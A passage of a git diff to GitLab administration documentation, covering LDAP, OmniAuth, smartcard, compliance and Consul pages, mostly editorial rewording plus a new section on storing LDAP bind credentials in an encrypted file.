b/doc/administration/auth/google_secure_ldap.md @@ -3,3 +3,6 @@ redirect_to: 'ldap/google_secure_ldap.md' --- This document was moved to [another location](ldap/google_secure_ldap.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md b/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md index 40d021e180c..ffce06afb63 100644 --- a/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md +++ b/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md @@ -3,3 +3,6 @@ redirect_to: '../ldap/index.md' --- This document was moved to [another location](../ldap/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md b/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md index 40d021e180c..ffce06afb63 100644 --- a/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md +++ b/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md @@ -3,3 +3,6 @@ redirect_to: '../ldap/index.md' --- This document was moved to [another location](../ldap/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/jwt.md b/doc/administration/auth/jwt.md index d3a77fdaca5..448922230e7 100644 --- a/doc/administration/auth/jwt.md +++ b/doc/administration/auth/jwt.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # JWT OmniAuth provider @@ -62,7 +62,7 @@ JWT will provide you with a secret key for you to use. } ``` - NOTE: **Note:** + NOTE: For more information on each configuration option refer to the [OmniAuth JWT usage documentation](https://github.com/mbleigh/omniauth-jwt#usage). diff --git a/doc/administration/auth/ldap-ee.md b/doc/administration/auth/ldap-ee.md index f5565628af1..6d56654a44b 100644 --- a/doc/administration/auth/ldap-ee.md +++ b/doc/administration/auth/ldap-ee.md @@ -3,3 +3,6 @@ redirect_to: 'ldap/index.md' --- This document was moved to [another location](ldap/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/ldap-troubleshooting.md b/doc/administration/auth/ldap-troubleshooting.md index a553f449abb..1e02755e3e5 100644 --- a/doc/administration/auth/ldap-troubleshooting.md +++ b/doc/administration/auth/ldap-troubleshooting.md @@ -3,3 +3,6 @@ redirect_to: 'ldap/ldap-troubleshooting.md' --- This document was moved to [another location](ldap/ldap-troubleshooting.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/ldap.md b/doc/administration/auth/ldap.md index f5565628af1..6d56654a44b 100644 --- a/doc/administration/auth/ldap.md +++ b/doc/administration/auth/ldap.md @@ -3,3 +3,6 @@ redirect_to: 'ldap/index.md' --- This document was moved to [another location](ldap/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/ldap/google_secure_ldap.md b/doc/administration/auth/ldap/google_secure_ldap.md index 90f0e681dd1..dcfb77f277e 100644 --- a/doc/administration/auth/ldap/google_secure_ldap.md +++ b/doc/administration/auth/ldap/google_secure_ldap.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Google Secure LDAP **(CORE ONLY)** @@ -34,7 +34,7 @@ The steps below cover: 'Entire domain (GitLab)' or 'Selected organizational units' for both 'Verify user credentials' and 'Read user information'. Select 'Add LDAP Client' - TIP: **Tip:** + NOTE: If you plan to use GitLab [LDAP Group Sync](index.md#group-sync) , turn on 'Read group information'. @@ -210,6 +210,11 @@ values obtained during the LDAP client configuration earlier: 1. Save the file and [restart](../../restart_gitlab.md#installations-from-source) GitLab for the changes to take effect. +## Using encrypted credentials + +You can optionally store the `bind_dn` and `password` in a separate encrypted configuration file using the +[same steps as the regular LDAP integration](index.md#using-encrypted-credentials). + <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/administration/auth/ldap/index.md b/doc/administration/auth/ldap/index.md index 9d88d66bf46..4dedaba3754 100644 --- a/doc/administration/auth/ldap/index.md +++ b/doc/administration/auth/ldap/index.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # General LDAP Setup @@ -46,10 +46,10 @@ the LDAP server or share email addresses. ### User deletion **(CORE ONLY)** -If a user is deleted from the LDAP server, they will be blocked in GitLab as -well. Users will be immediately blocked from logging in. However, there is an +If a user is deleted from the LDAP server, they are also blocked in GitLab. +Users are immediately blocked from logging in. However, there is an LDAP check cache time of one hour (see note) which means users that -are already logged in or are using Git over SSH will still be able to access +are already logged in or are using Git over SSH are be able to access GitLab for up to one hour. Manually block the user in the GitLab Admin Area to immediately block all access. @@ -66,8 +66,8 @@ in the application settings. When a user signs in to GitLab with LDAP for the first time, and their LDAP email address is the primary email address of an existing GitLab user, then -the LDAP DN will be associated with the existing user. If the LDAP email -attribute is not found in GitLab's database, a new user is created. +the LDAP DN is associated with the existing user. If the LDAP email +attribute is not found in the GitLab user database, a new user is created. In other words, if an existing GitLab user wants to enable LDAP sign-in for themselves, they should check that their GitLab email address matches their @@ -91,10 +91,10 @@ There is a Rake task to check LDAP configuration. After configuring LDAP using the documentation below, see [LDAP check Rake task](../../raketasks/check.md#ldap-check) for information on the LDAP check Rake task. -NOTE: **Note:** +NOTE: The `encryption` value `simple_tls` corresponds to 'Simple TLS' in the LDAP library. `start_tls` corresponds to StartTLS, not to be confused with regular TLS. -Normally, if you specify `simple_tls` it will be on port 636, while `start_tls` (StartTLS) +Normally, if you specify `simple_tls` it is on port 636, while `start_tls` (StartTLS) would be on port 389. `plain` also operates on port 389. Removed values: `tls` was replaced with `start_tls` and `ssl` was replaced with `simple_tls`. LDAP users must have a set email address, regardless of whether or not it's used @@ -167,27 +167,27 @@ production: | Setting | Description | Required | Examples | | ------- | ----------- | -------- | -------- | -| `label` | A human-friendly name for your LDAP server. It will be displayed on your sign-in page. | yes | `'Paris'` or `'Acme, Ltd.'` | +| `label` | A human-friendly name for your LDAP server. It is displayed on your sign-in page. | yes | `'Paris'` or `'Acme, Ltd.'` | | `host` | IP address or domain name of your LDAP server. | yes | `'ldap.mydomain.com'` | | `port` | The port to connect with on your LDAP server. Always an integer, not a string. | yes | `389` or `636` (for SSL) | -| `uid` | LDAP attribute for username. Should be the attribute, not the value that maps to the `uid`. | yes | `'sAMAccountName'`, `'uid'`, `'userPrincipalName'` | -| `bind_dn` | The full DN of the user you will bind with. | no | `'america\momo'` or `'CN=Gitlab,OU=Users,DC=domain,DC=com'` | +| `uid` | LDAP attribute for username. Should be the attribute, not the value that maps to the `uid`. | yes | `'sAMAccountName'` or `'uid'` or `'userPrincipalName'` | +| `bind_dn` | The full DN of the user you bind with. | no | `'america\momo'` or `'CN=Gitlab,OU=Users,DC=domain,DC=com'` | | `password` | The password of the bind user. | no | `'your_great_password'` | | `encryption` | Encryption method. The `method` key is deprecated in favor of `encryption`. | yes | `'start_tls'` or `'simple_tls'` or `'plain'` | | `verify_certificates` | Enables SSL certificate verification if encryption method is `start_tls` or `simple_tls`. Defaults to true. | no | boolean | -| `timeout` | Set a timeout, in seconds, for LDAP queries. This helps avoid blocking a request if the LDAP server becomes unresponsive. A value of 0 means there is no timeout. | no | `10` or `30` | +| `timeout` | Set a timeout, in seconds, for LDAP queries. This helps avoid blocking a request if the LDAP server becomes unresponsive. A value of `0` means there is no timeout. (default: `10`) | no | `10` or `30` | | `active_directory` | This setting specifies if LDAP server is Active Directory LDAP server. For non-AD servers it skips the AD specific queries. If your LDAP server is not AD, set this to false. | no | boolean | -| `allow_username_or_email_login` | If enabled, GitLab will ignore everything after the first `@` in the LDAP username submitted by the user on sign-in. If you are using `uid: 'userPrincipalName'` on ActiveDirectory you need to disable this setting, because the userPrincipalName contains an `@`. | no | boolean | -| `block_auto_created_users` | To maintain tight control over the number of active users on your GitLab installation, enable this setting to keep new users blocked until they have been cleared by the admin (default: false). | no | boolean | +| `allow_username_or_email_login` | If enabled, GitLab ignores everything after the first `@` in the LDAP username submitted by the user on sign-in. If you are using `uid: 'userPrincipalName'` on ActiveDirectory you need to disable this setting, because the userPrincipalName contains an `@`. | no | boolean | +| `block_auto_created_users` | To maintain tight control over the number of billable users on your GitLab installation, enable this setting to keep new users blocked until they have been cleared by an administrator (default: false). | no | boolean | | `base` | Base where we can search for users. | yes | `'ou=people,dc=gitlab,dc=example'` or `'DC=mydomain,DC=com'` | | `user_filter` | Filter LDAP users. Format: [RFC 4515](https://tools.ietf.org/search/rfc4515) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | no | `'(employeeType=developer)'` or `'(&(objectclass=user)(|(samaccountname=momo)(samaccountname=toto)))'` | -| `lowercase_usernames` | If lowercase_usernames is enabled, GitLab will lower case the username. | no | boolean | +| `lowercase_usernames` | If lowercase_usernames is enabled, GitLab converts the name to lower case. | no | boolean | ### SSL Configuration Settings **(CORE ONLY)** | Setting | Description | Required | Examples | | ------- | ----------- | -------- | -------- | -| `ca_file` | Specifies the path to a file containing a PEM-format CA certificate, e.g. if you need to use an internal CA. | no | `'/etc/ca.pem'` | +| `ca_file` | Specifies the path to a file containing a PEM-format CA certificate, for example, if you need to use an internal CA. | no | `'/etc/ca.pem'` | | `ssl_version` | Specifies the SSL version for OpenSSL to use, if the OpenSSL default is not appropriate. | no | `'TLSv1_1'` | | `ciphers` | Specific SSL ciphers to use in communication with LDAP servers. | no | `'ALL:!EXPORT:!LOW:!aNULL:!eNULL:!SSLv2'` | | `cert` | Client certificate | no | `'-----BEGIN CERTIFICATE----- <REDACTED> -----END CERTIFICATE -----'` | @@ -195,11 +195,11 @@ production: ### Attribute Configuration Settings **(CORE ONLY)** -LDAP attributes that GitLab will use to create an account for the LDAP user. The specified attribute can either be the attribute name as a string (e.g. `'mail'`), or an array of attribute names to try in order (e.g. `['mail', 'email']`). Note that the user's LDAP sign-in will always be the attribute specified as `uid` above. +LDAP attributes that GitLab uses to create an account for the LDAP user. The specified attribute can either be the attribute name as a string (for example, `'mail'`), or an array of attribute names to try in order (for example, `['mail', 'email']`). Note that the user's LDAP sign-in is the attribute specified as `uid` above. | Setting | Description | Required | Examples | | ------- | ----------- | -------- | -------- | -| `username` | The username will be used in paths for the user's own projects (like `gitlab.example.com/username/project`) and when mentioning them in issues, merge request and comments (like `@username`). If the attribute specified for `username` contains an email address, the GitLab username will be the part of the email address before the `@`. | no | `['uid', 'userid', 'sAMAccountName']` | +| `username` | The username is used in paths for the user's own projects (like `gitlab.example.com/username/project`) and when mentioning them in issues, merge request and comments (like `@username`). If the attribute specified for `username` contains an email address, the GitLab username is part of the email address before the `@`. | no | `['uid', 'userid', 'sAMAccountName']` | | `email` | LDAP attribute for user email. | no | `['mail', 'email', 'userPrincipalName']` | | `name` | LDAP attribute for user display name. If no full name could be found at the attribute specified for `name`, the full name is determined using the attributes specified for `first_name` and `last_name`. | no | `'cn'` or `'displayName'` | | `first_name` | LDAP attribute for user first name. | no | `'givenName'` | @@ -335,7 +335,7 @@ an alternative such as SAML is preferred. This allows LDAP to be used for group sync, while also allowing your SAML identity provider to handle additional checks like custom 2FA. -When LDAP web sign in is disabled, users will not see a **LDAP** tab on the sign in page. +When LDAP web sign in is disabled, users don't see an **LDAP** tab on the sign in page. This does not disable [using LDAP credentials for Git access](#git-password-authentication). **Omnibus configuration** @@ -360,6 +360,93 @@ This does not disable [using LDAP credentials for Git access](#git-password-auth 1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. +### Using encrypted credentials **(CORE ONLY)** + +Instead of having the LDAP integration credentials stored in plaintext in the configuration files, you can optionally +use an encrypted file for the LDAP credentials. To use this feature, you first need to enable +[GitLab encrypted configuration](../../encrypted_configuration.md). + +The encrypted configuration for LDAP exists in an encrypted YAML file. By default the file will be created at +`shared/encrypted_configuration/ldap.yaml.enc`. This location is configurable in the GitLab configuration. + +The unencrypted contents of the file should be a subset of the secret settings from your `servers` block in the LDAP +configuration. + +The supported configuration items for the encrypted file are: + +- `bind_dn` +- `password` + +The encrypted contents can be configured with the [LDAP secret edit Rake command](../../raketasks/ldap.md#edit-secret). + +**Omnibus configuration** + +If initially your LDAP configuration looked like: + +1. In `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['ldap_servers'] = { + 'main' => { + # snip... + 'bind_dn' => 'admin', + 'password' => '123' + } + } + ``` + +1. Edit the encrypted secret: + + ```shell + sudo gitlab-rake gitlab:ldap:secret:edit EDITOR=vim + ``` + +1. The unencrypted contents of the LDAP secret should be entered like: + + ```yaml + main: + bind_dn: admin + password: '123' + ``` + +1. Edit `/etc/gitlab/gitlab.rb` and remove the settings for `user_bn` and `password`. + +1. [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + +**Source configuration** + +If initially your LDAP configuration looked like: + +1. In `config/gitlab.yaml`: + + ```yaml + production: + ldap: + servers: + main: + # snip... + bind_dn: admin + password: '123' + ``` + +1. Edit the encrypted secret: + + ```shell + bundle exec rake gitlab:ldap:secret:edit EDITOR=vim RAILS_ENVIRONMENT=production + ``` + +1. The unencrypted contents of the LDAP secret should be entered like: + + ```yaml + main: + bind_dn: admin + password: '123' + ``` + +1. Edit `config/gitlab.yaml` and remove the settings for `user_bn` and `password`. + +1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. + ## Encryption **(CORE ONLY)** ### TLS Server Authentication @@ -383,7 +470,7 @@ be mandatory and clients cannot be authenticated with the TLS protocol. ## Multiple LDAP servers **(STARTER ONLY)** With GitLab Enterprise Edition Starter, you can configure multiple LDAP servers -that your GitLab instance will connect to. +that your GitLab instance connects to. To add another LDAP server: @@ -391,7 +478,7 @@ To add another LDAP server: 1. Edit them to match the additional LDAP server. Be sure to choose a different provider ID made of letters a-z and numbers 0-9. -This ID will be stored in the database so that GitLab can remember which LDAP +This ID is stored in the database so that GitLab can remember which LDAP server a user belongs to.  @@ -437,7 +524,7 @@ The process executes the following access checks: - Ensure the user is still present in LDAP. - If the LDAP server is Active Directory, ensure the user is active (not - blocked/disabled state). This will only be checked if + blocked/disabled state). This is checked only if `active_directory: true` is set in the LDAP configuration. In Active Directory, a user is marked as disabled/blocked if the user @@ -446,7 +533,7 @@ has bit 2 set. For more information, see <https://ctovswild.com/2009/09/03/bitmask-searches-in-ldap/> The user is set to an `ldap_blocked` state in GitLab if the previous conditions -fail. This means the user won't be able to sign in or push/pull code. +fail. This means the user is not able to sign in or push/pull code. The process also updates the following user information: @@ -495,18 +582,18 @@ sync to run once every 12 hours at the top of the hour. ## Group Sync **(STARTER ONLY)** If your LDAP supports the `memberof` property, when the user signs in for the -first time GitLab will trigger a sync for groups the user should be a member of. +first time GitLab triggers a sync for groups the user should be a member of. That way they don't need to wait for the hourly sync to be granted access to their groups and projects. -A group sync process will run every hour on the hour, and `group_base` must be set +A group sync process runs every hour on the hour, and `group_base` must be set in LDAP configuration for LDAP synchronizations based on group CN to work. This allows GitLab group membership to be automatically updated based on LDAP group members. The `group_base` configuration should be a base LDAP 'container', such as an 'organization' or 'organizational unit', that contains LDAP groups that should be available to GitLab. For example, `group_base` could be -`ou=groups,dc=example,dc=com`. In the configuration file it will look like the +`ou=groups,dc=example,dc=com`. In the configuration file it looks like the following. **Omnibus configuration** @@ -539,7 +626,7 @@ following. 1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. -To take advantage of group sync, group owners or maintainers will need to [create one +To take advantage of group sync, group owners or maintainers need to [create one or more LDAP group links](#adding-group-links). ### Adding group links **(STARTER ONLY)** @@ -550,11 +637,11 @@ For information on adding group links via CNs and filters, refer to [the GitLab As an extension of group sync, you can automatically manage your global GitLab administrators. Specify a group CN for `admin_group` and all members of the -LDAP group will be given administrator privileges. The configuration will look +LDAP group will be given administrator privileges. The configuration looks like the following. -NOTE: **Note:** -Administrators will not be synced unless `group_base` is also +NOTE: +Administrators are not synced unless `group_base` is also specified alongside `admin_group`. Also, only specify the CN of the admin group, as opposed to the full DN. @@ -615,7 +702,7 @@ By default, GitLab runs a group sync process every hour, on the hour. The values shown are in cron format. If needed, you can use a [Crontab Generator](http://www.crontabgenerator.com). -CAUTION: **Important:** +WARNING: Do not start the sync process too frequently as this could lead to multiple syncs running concurrently. This is primarily a concern for installations with a large number of LDAP users. Please review the @@ -691,10 +778,10 @@ There is a lot going on with group sync 'under the hood'. This section outlines what LDAP queries are executed and what behavior you can expect from group sync. -Group member access will be downgraded from a higher level if their LDAP group +Group member access are downgraded from a higher level if their LDAP group membership changes. For example, if a user has 'Owner' rights in a group and the next group sync reveals they should only have 'Developer' privileges, their -access will be adjusted accordingly. The only exception is if the user is the +access is adjusted accordingly. The only exception is if the user is the *last* owner in a group. Groups need at least one owner to fulfill administrative duties. @@ -716,13 +803,13 @@ are defined as one of the mentioned attributes. This also means GitLab supports Microsoft Active Directory, Apple Open Directory, Open LDAP, and 389 Server. Other LDAP servers should work, too. -Active Directory also supports nested groups. Group sync will recursively -resolve membership if `active_directory: true` is set in the configuration file. +Active Directory also supports nested groups. Group sync recursively +resolves membership if `active_directory: true` is set in the configuration file. ##### Nested group memberships Nested group memberships are resolved only if the nested group -is found within the configured `group_base`. For example, if GitLab sees a +is found in the configured `group_base`. For example, if GitLab sees a nested group with DN `cn=nested_group,ou=special_groups,dc=example,dc=com` but the configured `group_base` is `ou=groups,dc=example,dc=com`, `cn=nested_group` is ignored. @@ -731,7 +818,7 @@ is ignored. - Each LDAP group is queried a maximum of one time with base `group_base` and filter `(cn=<cn_from_group_link>)`. -- If the LDAP group has the `memberuid` attribute, GitLab will execute another +- If the LDAP group has the `memberuid` attribute, GitLab executes another LDAP query per member to obtain each user's full DN. These queries are executed with base `base`, scope 'base object', and a filter depending on whether `user_filter` is set. Filter may be `(uid=<uid_from_group>)` or a @@ -750,9 +837,9 @@ LDAP group links each: - Subsequent syncs (checking membership, no writes) took 15 minutes These metrics are meant to provide a baseline and performance may vary based on -any number of factors. This was a pretty extreme benchmark and most instances will -not have near this many users or groups. Disk speed, database performance, -network and LDAP server response time will affect these metrics. +any number of factors. This was an extreme benchmark and most instances don't +have near this many users or groups. Disk speed, database performance, +network and LDAP server response time affects these metrics. ## Troubleshooting diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md index 8920479949d..1976bab03c6 100644 --- a/doc/administration/auth/ldap/ldap-troubleshooting.md +++ b/doc/administration/auth/ldap/ldap-troubleshooting.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # LDAP Troubleshooting for Administrators @@ -378,7 +378,7 @@ GitLab syncs the `admin_group`. #### Sync all groups **(STARTER ONLY)** -NOTE: **Note:** +NOTE: To sync all groups manually when debugging is unnecessary, [use the Rake task](../../raketasks/ldap.md#run-a-group-sync) instead. @@ -429,7 +429,7 @@ and more DNs may be added, or existing entries modified, based on additional LDAP group lookups. The very last occurrence of this entry should indicate exactly which users GitLab believes should be added to the group. -NOTE: **Note:** +NOTE: 10 is 'Guest', 20 is 'Reporter', 30 is 'Developer', 40 is 'Maintainer' and 50 is 'Owner'. @@ -673,7 +673,7 @@ adfind -h ad.example.org:636 -ssl -u "CN=GitLabSRV,CN=Users,DC=GitLab,DC=org" -u ### Rails console -CAUTION: **Caution:** +WARNING: It is very easy to create, read, modify, and destroy data with the rails console. Be sure to run commands exactly as listed. diff --git a/doc/administration/auth/oidc.md b/doc/administration/auth/oidc.md index 794733f860c..158182edfb5 100644 --- a/doc/administration/auth/oidc.md +++ b/doc/administration/auth/oidc.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # OpenID Connect OmniAuth provider @@ -81,7 +81,7 @@ The OpenID Connect will provide you with a client details and secret for you to } ``` - NOTE: **Note:** + NOTE: For more information on each configuration option refer to the [OmniAuth OpenID Connect usage documentation](https://github.com/m0n9oose/omniauth_openid_connect#usage) and the [OpenID Connect Core 1.0 specification](https://openid.net/specs/openid-connect-core-1_0.html). diff --git a/doc/administration/auth/okta.md b/doc/administration/auth/okta.md index 06b50be2647..50dc3b58680 100644 --- a/doc/administration/auth/okta.md +++ b/doc/administration/auth/okta.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Okta SSO provider @@ -158,7 +158,7 @@ You might want to try this out on an incognito browser window. ## Configuring groups -NOTE: **Note:** +NOTE: Make sure the groups exist and are assigned to the Okta app. You can take a look of the [SAML documentation](../../integration/saml.md#saml-groups) on configuring groups. diff --git a/doc/administration/auth/smartcard.md b/doc/administration/auth/smartcard.md index d2937d36a35..9790802e413 100644 --- a/doc/administration/auth/smartcard.md +++ b/doc/administration/auth/smartcard.md @@ -1,7 +1,7 @@ --- stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -30,7 +30,7 @@ GitLab supports two authentication methods: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/726) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.6 as an experimental feature. -CAUTION: **Caution:** +WARNING: Smartcard authentication against local databases may change or be removed completely in future releases. @@ -60,7 +60,7 @@ Certificate: Smartcards with X.509 certificates using SAN extensions can be used to authenticate with GitLab. -NOTE: **Note:** +NOTE: This is an experimental feature. Smartcard authentication against local databases may change or be removed completely in future releases. @@ -211,7 +211,7 @@ attribute. As a prerequisite, you must use an LDAP server that: client_certificate_required_port: 3443 ``` - NOTE: **Note:** + NOTE: Assign a value to at least one of the following variables: `client_certificate_required_host` or `client_certificate_required_port`. diff --git a/doc/administration/availability/index.md b/doc/administration/availability/index.md index 748373c8941..4f934646ed6 100644 --- a/doc/administration/availability/index.md +++ b/doc/administration/availability/index.md @@ -3,3 +3,6 @@ redirect_to: ../reference_architectures/index.md --- This document was moved to [another location](../reference_architectures/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/build_artifacts.md b/doc/administration/build_artifacts.md index 85ae2946bc8..e42f50b2e54 100644 --- a/doc/administration/build_artifacts.md +++ b/doc/administration/build_artifacts.md @@ -3,3 +3,6 @@ redirect_to: 'job_artifacts.md' --- This document was moved to [job_artifacts](job_artifacts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/compliance.md b/doc/administration/compliance.md index 4cb2c002015..85b72d7b18f 100644 --- a/doc/administration/compliance.md +++ b/doc/administration/compliance.md @@ -1,26 +1,29 @@ --- stage: Manage group: Compliance -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Compliance features -You can configure the following GitLab features to help ensure that your GitLab instance meets common compliance standards. Click a feature name for further documentation. +You can configure the following GitLab features to help ensure that your GitLab +instance meets common compliance standards. Click a feature name for additional +documentation. -GitLab’s [security features](../security/README.md) may also help you meet relevant compliance standards. +The [security features](../security/README.md) in GitLab may also help you meet +relevant compliance standards. |Feature |GitLab tier |GitLab.com | | ---------| :--------: | :-------: | |**[Restrict SSH Keys](../security/ssh_keys_restrictions.md)**<br>Control the technology and key length of SSH keys used to access GitLab|Core+|| |**[Granular user roles and flexible permissions](../user/permissions.md)**<br>Manage access and permissions with five different user roles and settings for external users. Set permissions according to people's role, rather than either read or write access to a repository. Don't share the source code with people that only need access to the issue tracker.|Core+|✓| |**[Enforce TOS acceptance](../user/admin_area/settings/terms.md)**<br>Enforce your users accepting new terms of service by blocking GitLab traffic.|Core+|| -|**[Email all users of a project, group, or entire server](../user/admin_area/settings/terms.md)**<br>An admin can email groups of users based on project or group membership, or email everyone using the GitLab instance. This is great for scheduled maintenance or upgrades.|Starter+|| +|**[Email all users of a project, group, or entire server](../tools/email.md)**<br>An admin can email groups of users based on project or group membership, or email everyone using the GitLab instance. This is great for scheduled maintenance or upgrades.|Starter+|| |**[Omnibus package supports log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-forwarding)**<br>Forward your logs to a central system.|Starter+|| |**[Lock project membership to group](../user/group/index.md#member-lock)**<br>Group owners can prevent new members from being added to projects within a group.|Starter+|✓| |**[LDAP group sync](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition gives admins the ability to automatically sync groups and manage SSH keys, permissions, and authentication, so you can focus on building your product, not configuring your tools.|Starter+|| |**[LDAP group sync filters](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition Premium gives more flexibility to synchronize with LDAP based on filters, meaning you can leverage LDAP attributes to map GitLab permissions.|Premium+|| -|**[Audit logs](audit_events.md)**<br>To maintain the integrity of your code, GitLab Enterprise Edition Premium gives admins the ability to view any modifications made within the GitLab server in an advanced audit log system, so you can control, analyze, and track every change.|Premium+|| +|**[Audit events](audit_events.md)**<br>To maintain the integrity of your code, GitLab Enterprise Edition Premium gives admins the ability to view any modifications made within the GitLab server in an advanced audit events system, so you can control, analyze, and track every change.|Premium+|| |**[Auditor users](auditor_users.md)**<br>Auditor users are users who are given read-only access to all projects, groups, and other resources on the GitLab instance.|Premium+|| |**[Credentials inventory](../user/admin_area/credentials_inventory.md)**<br>With a credentials inventory, GitLab administrators can keep track of the credentials used by all of the users in their GitLab instance. |Ultimate|| -|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-ci-configuration-path)**<br> GitLab Silver and Premium users can leverage GitLab's cross-project YAML configuration's to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles.|Premium+|| +|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-ci-configuration-path)**<br> GitLab Silver and Premium users can leverage the GitLab cross-project YAML configurations to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles.|Premium+|| diff --git a/doc/administration/consul.md b/doc/administration/consul.md index 491251bc842..5b577443c7c 100644 --- a/doc/administration/consul.md +++ b/doc/administration/consul.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -77,7 +77,7 @@ Identify any existing health issues in the cluster by running the following comm within each node. The command will return an empty array if the cluster is healthy: ```shell -curl http://127.0.0.1:8500/v1/health/state/critical +curl "http://127.0.0.1:8500/v1/health/state/critical" ``` Consul nodes communicate using the raft protocol. If the current leader goes @@ -133,7 +133,7 @@ you will need to follow the Consul [outage recovery](#outage-recovery) process. To be safe, it's recommended that you only restart Consul in one node at a time to ensure the cluster remains intact. For larger clusters, it is possible to restart multiple nodes at a time. See the -[Consul consensus document](https://www.consul.io/docs/internals/consensus.html#deployment-table) +[Consul consensus 